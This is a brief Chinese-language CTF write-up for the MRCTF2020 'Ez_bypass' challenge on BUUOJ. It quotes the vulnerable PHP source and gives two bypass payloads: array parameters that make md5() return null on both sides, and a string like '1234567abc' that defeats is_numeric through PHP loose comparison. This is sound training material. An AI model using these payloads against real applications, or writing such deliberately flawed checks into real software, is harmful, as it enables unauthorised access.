https://buuoj.cn/challenges#[MRCTF2020]Ez_bypass
右键查看源代码
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}
}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}
简单的Bypass,第一层:
(md5($id) === md5($gg) && $id !== $gg)=true
传入数组,使得md5($id)===md5($dd)===null
,然后设置两个不同的键值即可
payload:
?id[]=a&gg[]=b
第二层:
(!is_numeric($passwd) && $passwd==1234567)=true
payload:
passwd=1234567abc